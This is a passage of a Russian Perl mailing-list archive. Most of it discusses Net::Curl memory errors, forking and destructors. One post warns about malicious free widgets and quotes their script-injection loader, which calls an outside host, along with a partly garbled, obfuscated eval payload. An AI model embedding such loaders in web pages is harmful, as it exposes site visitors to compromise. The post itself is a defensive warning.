завершении дочерних процессов будет > включаться глобальный деструктор? > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ksvs1996 на ymail.com Tue Nov 27 06:08:28 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 14:08:28 +0000 (GMT) Subject: [Moscow.pm] during global destruction In-Reply-To: References: <1354022521.97785.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <1354025308.78629.YahooMailNeo@web171501.mail.ir2.yahoo.com> А когда объект создавался в родителе? Ой, так нельзя для тех объектов, у которых деструкторы не пустые и изменяют что-то снаружи. А то будет несколько раз происходить эти действия. ________________________________ From: Mons Anderson To: Moscow.pm group Sent: Tuesday, 27 November 2012, 16:04 Subject: Re: [Moscow.pm] during global destruction Смотря с какой стороны посмотреть. Это значит, что какие-то объекты не уничтожились когда им было положено. Соответственно - потенциальная утечка. 2012/11/27 ksvs А ничего страшного, если при завершении дочерних процессов будет включаться глобальный деструктор? > >-- >Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > -- Best wishes, Vladimir V. Perepelitsa aka Mons Anderson , http://github.com/Mons -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From creaktive на gmail.com Tue Nov 27 06:34:02 2012 From: creaktive на gmail.com (Stanislaw Pusep) Date: Tue, 27 Nov 2012 12:34:02 -0200 Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction In-Reply-To: <1354021047.67400.YahooMailNeo@web171506.mail.ir2.yahoo.com> References: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> <1354021047.67400.YahooMailNeo@web171506.mail.ir2.yahoo.com> Message-ID: > Спасибо. > > А я, наивно, перенес создание $multi с главного процесса в дочернии. > И кажется ошибка ушла. Но, наверно, стала реже, и я ее пока не словил. > Верну как было, и попробую явный base. А как вы "убиваете" дочерние процессы? Если не убиваете, или убиваете "насмерть" (без ловушек SIGTERM/SIGINT), то глобальный деструктор дочернего процесса просто не срабатывает. > Спасибо за ссылку. > Но я еще не смотрел в сторону moose и пока не все понимаю. > > > А почему в > > https://metacpan.org/source/SYP/AnyEvent-Net-Curl-Queued-0.037/lib/AnyEvent/Net/Curl/Queued/Multi.pm > строка 168 используется > $self->socket_action; > а не > $self->socket_action(Net::Curl::Multi::CURL_SOCKET_TIMEOUT); > Кажется в документации на libcurl сказано, что надо использовать второй > вариант. > В случае таймаута, совершенно верно. Но в данном случае, socket_action() вызывается при "запуске" инстанции Net::Curl::Easy, и выполняет функцию, так сказать, "прогревки движка" (асинхронный DNS, подключение к прокси). А почему вы решили использовать Curl, а не AnyEvent::HTTP? > У libcurl фичей побольше: http://curl.haxx.se/docs/features.html :) Лично мне позарез нужны были вот эти: - custom least download speed acceptable - selectable network interface for outgoing traffic - socks5 support - asynchronous name resolving - Content-Encoding support for deflate and gzip - "Transfer-Encoding: chunked" support for "uploads" > Что-то я не пойму как вы берете последнии хедеры, а не редиректовские. > В режиме CURLOPT_FOLLOWLOCATION, libcurl "склеивает" хедеры. Поскольку HTTP-хедеры заканчиваются "\n\n", то нечто вроде split(/\n\n/, $buffer) превращает всю цепочку редиректов в аррей. Ну и последний элемент является последним хедером. > И почему вы при получении хедеров, если это не html, не обрываете закачку? > А как же тогда картинки качать? :) А удобно пользоваться moose? Так выгдядит странно, не так, как в книжке по > Perl, что я читал. > Весьма удобно, рекомендую! Это не совсем Moose, это Mouse. Оно кушает на порядок меньше памяти. (вообще-то Any::Moose, который сам выбирает Moose или Mouse в зависимости от случая) ________________________________ > From: Stanislaw Pusep > To: Moscow.pm group > Sent: Tuesday, 27 November 2012, 13:55 > Subject: Re: [Moscow.pm] Attempt to free unreferenced scalar: SV > 0x2929db2c during global destruction > > > Так и есть, бага. Я её и зарепортил, и починил: > https://github.com/sparky/perl-Net-Curl/pull/1 > Жду, когда автор соизволит протестить :) > Кстати, легко чинимо самостоятельно. В вашем коде, определите явный "base" > для создания новых объектов Net::Curl::*: > > my $easy = Net::Curl::Easy->new({}); > my $multi = Net::Curl::Multi->new({}); > > my $share = Net::Curl::Share->new({}); > > > Вместо: > > my $easy = Net::Curl::Easy->new; > my $multi = Net::Curl::Multi->new; > > my $share = Net::Curl::Share->new; > > > Почему оно так? Тупо опечатка: > http://stackoverflow.com/a/13576436/1818793 > > Кстати, комбинация AnyEvent + Net::Curl::Mulii уже существует на CPAN: > https://metacpan.org/module/AnyEvent::Net::Curl::Queued > > 2012/11/27 Alexandr Alexeev > > Я не специалист, но похоже на багу в Net::Curl::Multy. Может, зарепортить > ее? > > > >2012/11/27 ksvs : > > > >> Привет. > >> Заменил LWP на AnyEvent, теперь захотел заменить его на > Net::Curl::Multy. > >> Но периодически при завершении программы стали появляться сообщения: > >> "Attempt to free unreferenced scalar: SV 0x2929db2c during global > destruction" > >> Хотя с заменой на Curl у меня не добавилось никаких глобальных > переменных. > >> Что это может быть и как с ним бороться? > >> > >> > >> Нашел, что можно пересобрать perl. > >> > >> Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe > >> DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) > may > >> give you some more information about where the problem is coming from. > >> > >> А может можно как-то проше? > >> > >> -- > >> Moscow.pm mailing list > >> moscow-pm на pm.org | http://moscow.pm.org > > > > > > > >-- > >Best regards, > >Alex Alexeev > >http://twitter.com/afiskon > > > >-- > >Moscow.pm mailing list > >moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.orgА почему в а не > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From ruz на bestpractical.com Tue Nov 27 06:44:31 2012 From: ruz на bestpractical.com (Ruslan Zakirov) Date: Tue, 27 Nov 2012 18:44:31 +0400 Subject: [Moscow.pm] during global destruction In-Reply-To: <1354025308.78629.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1354022521.97785.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1354025308.78629.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: 2012/11/27 ksvs : > А когда объект создавался в родителе? > > Ой, так нельзя для тех объектов, у которых деструкторы не пустые и изменяют что-то снаружи. > А то будет несколько раз происходить эти действия. Например DBI. Если у вас есть открытый dbh, то fork + global destruction в потомке закроет соединение. Смотрите [1]. [1] http://search.cpan.org/~timb/DBI-1.622/DBI.pm#AutoInactiveDestroy > ________________________________ > From: Mons Anderson > To: Moscow.pm group > Sent: Tuesday, 27 November 2012, 16:04 > Subject: Re: [Moscow.pm] during global destruction > > > Смотря с какой стороны посмотреть. > Это значит, что какие-то объекты не уничтожились когда им было положено. > Соответственно - потенциальная утечка. > > > > 2012/11/27 ksvs > > А ничего страшного, если при завершении дочерних процессов будет включаться глобальный деструктор? >> >>-- >>Moscow.pm mailing list >>moscow-pm на pm.org | http://moscow.pm.org >> > > > -- > Best wishes, > Vladimir V. Perepelitsa aka Mons Anderson > , > http://github.com/Mons > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Ruslan. From ksvs1996 на ymail.com Tue Nov 27 07:00:41 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 15:00:41 +0000 (GMT) Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction In-Reply-To: References: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> Message-ID: <1354028441.70386.YahooMailNeo@web171501.mail.ir2.yahoo.com> Когда объект, наследуемый от Net::Curl::Multi, как в примере, то помогло. А когда без объектов, то вот что: > perl 1.pl Ошибка сегментации(core dumped) > cat 1.pl $| = 1; use strict; use warnings; use Net::Curl::Multi; use Net::Curl::Easy; sub foo {         my $multi = Net::Curl::Multi::new({});         sub {                 my ($easy) = @_;                 $multi->add_handle($easy);                 print $multi, "\n";         }; } my $foo = foo(); my $easy = Net::Curl::Easy->new({}); $foo->($easy); Вывод. Надо уже идти учить объекты. ________________________________ From: Stanislaw Pusep To: Moscow.pm group Sent: Tuesday, 27 November 2012, 13:55 Subject: Re: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction Так и есть, бага. Я её и зарепортил, и починил: https://github.com/sparky/perl-Net-Curl/pull/1 Жду, когда автор соизволит протестить :) Кстати, легко чинимо самостоятельно. В вашем коде, определите явный "base" для создания новых объектов Net::Curl::*: my $easy = Net::Curl::Easy->new({}); my $multi = Net::Curl::Multi->new({}); my $share = Net::Curl::Share->new({}); Вместо: my $easy = Net::Curl::Easy->new; my $multi = Net::Curl::Multi->new; my $share = Net::Curl::Share->new; Почему оно так? Тупо опечатка: http://stackoverflow.com/a/13576436/1818793 Кстати, комбинация AnyEvent + Net::Curl::Mulii уже существует на CPAN: https://metacpan.org/module/AnyEvent::Net::Curl::Queued 2012/11/27 Alexandr Alexeev Я не специалист, но похоже на багу в Net::Curl::Multy. Может, зарепортить ее? > >2012/11/27 ksvs : > >> Привет. >> Заменил LWP на AnyEvent, теперь захотел заменить его на Net::Curl::Multy. >> Но периодически при завершении программы стали появляться сообщения: >> "Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction" >> Хотя с заменой на Curl у меня не добавилось никаких глобальных переменных. >> Что это может быть и как с ним бороться? >> >> >> Нашел, что можно пересобрать perl. >> >> Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe >> DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) may >> give you some more information about where the problem is coming from. >> >> А может можно как-то проше? >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > >-- >Best regards, >Alex Alexeev >http://twitter.com/afiskon > >-- >Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From ksvs1996 на ymail.com Tue Nov 27 07:04:58 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 15:04:58 +0000 (GMT) Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction In-Reply-To: References: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> <1354021047.67400.YahooMailNeo@web171506.mail.ir2.yahoo.com> Message-ID: <1354028698.27049.YahooMailNeo@web171502.mail.ir2.yahoo.com> Дочернии процессы сами вызывают exit, когда им родитель говорит, что все, спасибо. ________________________________ From: Stanislaw Pusep To: Moscow.pm group Sent: Tuesday, 27 November 2012, 16:34 Subject: Re: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction Спасибо. > >А я, наивно, перенес создание $multi с главного процесса в дочернии. >И кажется ошибка ушла. Но, наверно, стала реже, и я ее пока не словил. >Верну как было, и попробую явный base. А как вы "убиваете" дочерние процессы? Если не убиваете, или убиваете "насмерть" (без ловушек SIGTERM/SIGINT), то глобальный деструктор дочернего процесса просто не срабатывает. Спасибо за ссылку. >Но я еще не смотрел в сторону moose и пока не все понимаю. > > >А почему в >https://metacpan.org/source/SYP/AnyEvent-Net-Curl-Queued-0.037/lib/AnyEvent/Net/Curl/Queued/Multi.pm >строка 168 используется >$self->socket_action; >а не >$self->socket_action(Net::Curl::Multi::CURL_SOCKET_TIMEOUT); >Кажется в документации на libcurl сказано, что надо использовать второй вариант. > В случае таймаута, совершенно верно. Но в данном случае, socket_action() вызывается при "запуске" инстанции Net::Curl::Easy, и выполняет функцию, так сказать, "прогревки движка" (асинхронный DNS, подключение к прокси). А почему вы решили использовать Curl, а не AnyEvent::HTTP? > У libcurl фичей побольше: http://curl.haxx.se/docs/features.html :) Лично мне позарез нужны были вот эти:  - custom least download speed acceptable  - selectable network interface for outgoing traffic  - socks5 support  - asynchronous name resolving  - Content-Encoding support for deflate and gzip  - "Transfer-Encoding: chunked" support for "uploads" Что-то я не пойму как вы берете последнии хедеры, а не редиректовские. > В режиме CURLOPT_FOLLOWLOCATION, libcurl "склеивает" хедеры. Поскольку HTTP-хедеры заканчиваются "\n\n", то нечто вроде split(/\n\n/, $buffer) превращает всю цепочку редиректов в аррей. Ну и последний элемент является последним хедером. И почему вы при получении хедеров, если это не html, не обрываете закачку? > А как же тогда картинки качать? :) А удобно пользоваться moose? Так выгдядит странно, не так, как в книжке по Perl, что я читал. > Весьма удобно, рекомендую! Это не совсем Moose, это Mouse. Оно кушает на порядок меньше памяти. (вообще-то Any::Moose, который сам выбирает Moose или Mouse в зависимости от случая) ________________________________ >From: Stanislaw Pusep >To: Moscow.pm group >Sent: Tuesday, 27 November 2012, 13:55 >Subject: Re: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction > > > >Так и есть, бага. Я её и зарепортил, и починил: https://github.com/sparky/perl-Net-Curl/pull/1 >Жду, когда автор соизволит протестить :) >Кстати, легко чинимо самостоятельно. В вашем коде, определите явный "base" для создания новых объектов Net::Curl::*: > >my $easy = Net::Curl::Easy->new({}); >my $multi = Net::Curl::Multi->new({}); > >my $share = Net::Curl::Share->new({}); > > >Вместо: > >my $easy = Net::Curl::Easy->new; >my $multi = Net::Curl::Multi->new; > >my $share = Net::Curl::Share->new; > > >Почему оно так? Тупо опечатка: >http://stackoverflow.com/a/13576436/1818793 > >Кстати, комбинация AnyEvent + Net::Curl::Mulii уже существует на CPAN: >https://metacpan.org/module/AnyEvent::Net::Curl::Queued > >2012/11/27 Alexandr Alexeev > >Я не специалист, но похоже на багу в Net::Curl::Multy. Может, зарепортить ее? >> >>2012/11/27 ksvs : >> >>> Привет. >>> Заменил LWP на AnyEvent, теперь захотел заменить его на Net::Curl::Multy. >>> Но периодически при завершении программы стали появляться сообщения: >>> "Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction" >>> Хотя с заменой на Curl у меня не добавилось никаких глобальных переменных. >>> Что это может быть и как с ним бороться? >>> >>> >>> Нашел, что можно пересобрать perl. >>> >>> Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe >>> DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) may >>> give you some more information about where the problem is coming from. >>> >>> А может можно как-то проше? >>> >>> -- >>> Moscow.pm mailing list >>> moscow-pm на pm.org | http://moscow.pm.org >> >> >> >>-- >>Best regards, >>Alex Alexeev >>http://twitter.com/afiskon >> >>-- >>Moscow.pm mailing list >>moscow-pm на pm.org | http://moscow.pm.org >> > >-- >Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > >-- >Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org   А почему в а не From ksvs1996 на ymail.com Tue Nov 27 07:08:21 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 15:08:21 +0000 (GMT) Subject: [Moscow.pm] during global destruction In-Reply-To: References: <1354022521.97785.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1354025308.78629.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <1354028901.28370.YahooMailNeo@web171502.mail.ir2.yahoo.com> Понял. В деструкторе смотрят на pid, и если он не тот, что при создании соединения, то не закрывать. А почему тогда это поведение не сделали по умолчанию? Раз не ты открыл, не тебе и закрывать. ----- Original Message ----- From: Ruslan Zakirov To: Moscow.pm group Cc: Sent: Tuesday, 27 November 2012, 16:44 Subject: Re: [Moscow.pm] during global destruction 2012/11/27 ksvs : > А когда объект создавался в родителе? > > Ой, так нельзя для тех объектов, у которых деструкторы не пустые и изменяют что-то снаружи. > А то будет несколько раз происходить эти действия. Например DBI. Если у вас есть открытый dbh, то fork + global destruction в потомке закроет соединение. Смотрите [1]. [1] http://search.cpan.org/~timb/DBI-1.622/DBI.pm#AutoInactiveDestroy > ________________________________ > From: Mons Anderson > To: Moscow.pm group > Sent: Tuesday, 27 November 2012, 16:04 > Subject: Re: [Moscow.pm] during global destruction > > > Смотря с какой стороны посмотреть. > Это значит, что какие-то объекты не уничтожились когда им было положено. > Соответственно - потенциальная утечка. > > > > 2012/11/27 ksvs > > А ничего страшного, если при завершении дочерних процессов будет включаться глобальный деструктор? >> >>-- >>Moscow.pm mailing list >>moscow-pm на pm.org | http://moscow.pm.org >> > > > -- > Best wishes, > Vladimir V. Perepelitsa aka Mons Anderson > , > http://github.com/Mons > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Ruslan. -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From ksvs1996 на ymail.com Tue Nov 27 07:42:39 2012 From: ksvs1996 на ymail.com (ksvs) Date: Tue, 27 Nov 2012 15:42:39 +0000 (GMT) Subject: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction In-Reply-To: <1354028441.70386.YahooMailNeo@web171501.mail.ir2.yahoo.com> References: <1354000863.31625.YahooMailNeo@web171506.mail.ir2.yahoo.com> <1354028441.70386.YahooMailNeo@web171501.mail.ir2.yahoo.com> Message-ID: <1354030959.83487.YahooMailNeo@web171504.mail.ir2.yahoo.com> Это я ошибся надо  Net::Curl::Multi->new({}); А я написал Net::Curl::Multi::new({}); ----- Original Message ----- From: ksvs To: Moscow.pm group Cc: Sent: Tuesday, 27 November 2012, 17:00 Subject: Re: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction Когда объект, наследуемый от Net::Curl::Multi, как в примере, то помогло. А когда без объектов, то вот что: > perl 1.pl Ошибка сегментации(core dumped) > cat 1.pl $| = 1; use strict; use warnings; use Net::Curl::Multi; use Net::Curl::Easy; sub foo {         my $multi = Net::Curl::Multi::new({});         sub {                 my ($easy) = @_;                 $multi->add_handle($easy);                 print $multi, "\n";         }; } my $foo = foo(); my $easy = Net::Curl::Easy->new({}); $foo->($easy); Вывод. Надо уже идти учить объекты. ________________________________ From: Stanislaw Pusep To: Moscow.pm group Sent: Tuesday, 27 November 2012, 13:55 Subject: Re: [Moscow.pm] Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction Так и есть, бага. Я её и зарепортил, и починил: https://github.com/sparky/perl-Net-Curl/pull/1 Жду, когда автор соизволит протестить :) Кстати, легко чинимо самостоятельно. В вашем коде, определите явный "base" для создания новых объектов Net::Curl::*: my $easy = Net::Curl::Easy->new({}); my $multi = Net::Curl::Multi->new({}); my $share = Net::Curl::Share->new({}); Вместо: my $easy = Net::Curl::Easy->new; my $multi = Net::Curl::Multi->new; my $share = Net::Curl::Share->new; Почему оно так? Тупо опечатка: http://stackoverflow.com/a/13576436/1818793 Кстати, комбинация AnyEvent + Net::Curl::Mulii уже существует на CPAN: https://metacpan.org/module/AnyEvent::Net::Curl::Queued 2012/11/27 Alexandr Alexeev Я не специалист, но похоже на багу в Net::Curl::Multy. Может, зарепортить ее? > >2012/11/27 ksvs : > >> Привет. >> Заменил LWP на AnyEvent, теперь захотел заменить его на Net::Curl::Multy. >> Но периодически при завершении программы стали появляться сообщения: >> "Attempt to free unreferenced scalar: SV 0x2929db2c during global destruction" >> Хотя с заменой на Curl у меня не добавилось никаких глобальных переменных. >> Что это может быть и как с ним бороться? >> >> >> Нашел, что можно пересобрать perl. >> >> Recompiling libperl with DEBUG_LEAKING_SCALARS, (and maybe >> DEBUG_LEAKING_SCALARS_FORK_DUMP and maybe DEBUG_LEAKING_SCALARS_ABORT) may >> give you some more information about where the problem is coming from. >> >> А может можно как-то проше? >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > >-- >Best regards, >Alex Alexeev >http://twitter.com/afiskon > >-- >Moscow.pm mailing list >moscow-pm на pm.org | http://moscow.pm.org > -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org -- Moscow.pm mailing list moscow-pm на pm.org | http://moscow.pm.org From ruz на bestpractical.com Tue Nov 27 08:24:24 2012 From: ruz на bestpractical.com (Ruslan Zakirov) Date: Tue, 27 Nov 2012 20:24:24 +0400 Subject: [Moscow.pm] during global destruction In-Reply-To: <1354028901.28370.YahooMailNeo@web171502.mail.ir2.yahoo.com> References: <1354022521.97785.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1354025308.78629.YahooMailNeo@web171501.mail.ir2.yahoo.com> <1354028901.28370.YahooMailNeo@web171502.mail.ir2.yahoo.com> Message-ID: 2012/11/27 ksvs : > Понял. В деструкторе смотрят на pid, и если он не тот, что при создании соединения, то не закрывать. > А почему тогда это поведение не сделали по умолчанию? > Раз не ты открыл, не тебе и закрывать. > А как же демонизация, когда родитель выходит после форка? Все на усмотрение разработчика, а уж поведение по умолчанию на совести истории. Деструкторы - одна большая банка с червями. Нуно знать про следующий модуль. Хоть то, что он существует. Когда-нибудь понадобится. http://search.cpan.org/dist/Devel-GlobalDestruction/lib/Devel/GlobalDestruction.pm > ----- Original Message ----- > From: Ruslan Zakirov > To: Moscow.pm group > Cc: > Sent: Tuesday, 27 November 2012, 16:44 > Subject: Re: [Moscow.pm] during global destruction > > 2012/11/27 ksvs : >> А когда объект создавался в родителе? >> >> Ой, так нельзя для тех объектов, у которых деструкторы не пустые и изменяют что-то снаружи. >> А то будет несколько раз происходить эти действия. > > Например DBI. Если у вас есть открытый dbh, то fork + global > destruction в потомке закроет соединение. Смотрите [1]. > > [1] http://search.cpan.org/~timb/DBI-1.622/DBI.pm#AutoInactiveDestroy > >> ________________________________ >> From: Mons Anderson >> To: Moscow.pm group >> Sent: Tuesday, 27 November 2012, 16:04 >> Subject: Re: [Moscow.pm] during global destruction >> >> >> Смотря с какой стороны посмотреть. >> Это значит, что какие-то объекты не уничтожились когда им было положено. >> Соответственно - потенциальная утечка. >> >> >> >> 2012/11/27 ksvs >> >> А ничего страшного, если при завершении дочерних процессов будет включаться глобальный деструктор? >>> >>>-- >>>Moscow.pm mailing list >>>moscow-pm на pm.org | http://moscow.pm.org >>> >> >> >> -- >> Best wishes, >> Vladimir V. Perepelitsa aka Mons Anderson >> , >> http://github.com/Mons >> >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org > > > > -- > Best regards, Ruslan. > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org -- Best regards, Ruslan. From dsimonov на gmail.com Wed Nov 28 00:55:17 2012 From: dsimonov на gmail.com (Dmitry Simonov) Date: Wed, 28 Nov 2012 12:55:17 +0400 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= Message-ID: Обращаюсь к тем участниками, которые имеют отношение к хостерам. Существует ресурс 101widgets.com, который распространяет бесплатно виджеты. При детальном изучении оказалось, что бесплатный сыр распространяется вместе с мышеловкой. Рекомендую в принудительном порядке заблокировать вставку скриптов с этого ресурса, а чудесному РосКомНадзору запретить доступ к вредоносу на уровне провайдеров. Детали: Вместе с виджетами вставляется вызов вот такого скрипта: http://sql.101widgets.com/swfobj2.js Он в свою очередь вызывает скрипт с домена alabama.101widgets.com, имеющий вот такой вид: (function(w) { var script = document.createElement('script'); var i = setInterval(function() { if (typeof w.document.body !== 'undefined') { script.src = 'http://sql.traff-polymorphic.info' + '/?719288=zIXMyp7a1Nfb09Hcy4WKiIg'; w.document.body.appendChild(script); clearInterval(i); } }, 200); })(window); А этот скрипт в свою очередь обращается к скрипту с домена sql.traff-polymorphic.info, отдающий вот такой код: eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2g.b$0=2g.b$0||{1i:[]};b$0.1j=h(2S){b$0.1i$0=h(f){f=b$0.1h(f);b$0.f=b$0.f||{};e(1A b$0.f.D!==\'1w\'){b$0.f.D=b$0.f.D.3b(f.D)}v{b$0.f=f}e(b$0.f.2c){d a=o.1d(\'2Z\');a.2R(\'N\',b$0.f.2c);a.1H.1I=\'s:1C; w:1C; 2L:3h; 3f:3g;\';o.1L(\'1b\')[0].1e(a)}O(d i=0,l=b$0.f.D.t;ic){V.J(p.q(c));z+=1}v e(2k2l)&&(c<2i)){y+=p.q((c>>6)|2h);y+=p.q((c&x)|M)}v{y+=p.q((c>>12)|1D);y+=p.q(((c>>6)&x)|M);y+=p.q((c&x)|M)}}m y};b$0.H=\'2x-b\';b$0.1F=\'=\';b$0.1Z=h(k,r){d 1a="",1v="";d Z,T,R,1n,1s,W,K;d i=0;r&=2w;k=b$0.1E(k);O(d j=0;j>2;1s=((Z&3)<<4)|(T>>4);W=((T&15)<<2)|(R>>6);K=R&x;e(1U(T)){W=K=1J}v e(1U(R)){K=1J}1a=1a+b$0.H.P(1n)+b$0.H.P(1s)+b$0.H.P(W)+b$0.H.P(K)}m 1a};b$0.1m=h(1f){e(b$0.2C){m 1f}d r=(+1P 2r())%2t;m"/?"+r+"="+b$0.1Z(1f.1c("/?",""),r)};b$0.1S=h(f){f=f.1c(/[\\-]/g,"+").1c(/[b]/g,"/");d 1B=[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,2s,-1,-1,-1,x,2n,2o,2p,2u,2v,2A,2B,2z,2m,2y,-1,-1,-1,0,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,3i,3j,3r,3w,3y,3z,3A,3B,3t,3u,3v,3C,-1,-1,-1,-1,-1];d X,Q,B=0,A=[],F=0,S=0;O(B=0;B=8){F-=8;e(b$0.1F!==f.P(B)){A.J((S>>F)&2N)}S&=(1< From maxim.vuets на gmail.com Wed Nov 28 01:21:13 2012 From: maxim.vuets на gmail.com (Maxim Vuets) Date: Wed, 28 Nov 2012 10:21:13 +0100 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: 2012/11/28 Dmitry Simonov : > Обращаюсь к тем участниками, которые имеют отношение к хостерам. Обращаюсь к тем участникам, которые не проверяют ящик [Gmail]/Spam. Письмо Дмитрия попало именно туда (-: From yu.pats на gmail.com Wed Nov 28 01:36:47 2012 From: yu.pats на gmail.com (Yury Pats) Date: Wed, 28 Nov 2012 12:36:47 +0300 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: Максим, я стесняюсь спросить, а зачем вы проверяете спам? :) 2012/11/28 Maxim Vuets > 2012/11/28 Dmitry Simonov : > > Обращаюсь к тем участниками, которые имеют отношение к хостерам. > > Обращаюсь к тем участникам, которые не проверяют ящик [Gmail]/Spam. > Письмо Дмитрия попало именно туда (-: > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > -- WBR, Yury Pats skype: yuripats cellular: +375 (29) 5870723 ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From sharifulin на gmail.com Wed Nov 28 01:41:30 2012 From: sharifulin на gmail.com (=?KOI8-R?B?4c7B1M/Mycog+8HSycbVzMnO?=) Date: Wed, 28 Nov 2012 13:41:30 +0400 Subject: [Moscow.pm] =?koi8-r?b?98nS1dPZIDoo?= In-Reply-To: References: Message-ID: Юрий, мы все проверяем Спам :) 2012/11/28 Yury Pats > Максим, я стесняюсь спросить, а зачем вы проверяете спам? :) > > > 2012/11/28 Maxim Vuets > >> 2012/11/28 Dmitry Simonov : >> > Обращаюсь к тем участниками, которые имеют отношение к хостерам. >> >> Обращаюсь к тем участникам, которые не проверяют ящик [Gmail]/Spam. >> Письмо Дмитрия попало именно туда (-: >> -- >> Moscow.pm mailing list >> moscow-pm на pm.org | http://moscow.pm.org >> > > > > -- > WBR, Yury Pats > skype: yuripats > cellular: +375 (29) 5870723 > > -- > Moscow.pm mailing list > moscow-pm на pm.org | http://moscow.pm.org > > -- С уважением, Анатолий Шарифулин. ----------- следущая часть ----------- Вложение в формате HTML было извлечено… URL: From maxim.vuets на gmail.com Wed Nov 28 01:46:36 2012 From: maxim.vuets на gmail.com (Maxim Vuets) Date: Wed, 28 Nov 2012 10:46:36 +0100 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: 2012/11/28 Yury Pats : > Максим, я стесняюсь спросить, а зачем вы проверяете спам? :) Даже роботы ошибаются. From yu.pats на gmail.com Wed Nov 28 01:52:07 2012 From: yu.pats на gmail.com (Yury Pats) Date: Wed, 28 Nov 2012 12:52:07 +0300 Subject: [Moscow.pm] =?utf-8?b?0JLQuNGA0YPRgdGLIDoo?= In-Reply-To: References: Message-ID: Не ну я тоже проверяю, когда мне скучно и никто не пишет :) 2012/11/28 Анатолий Шарифулин > Юрий, мы все проверяем Спам :) > > > 2012/11/28 Yury Pats > >> Максим, я стесняюсь спросить, а зачем вы проверяете спам? :) >> >> >> 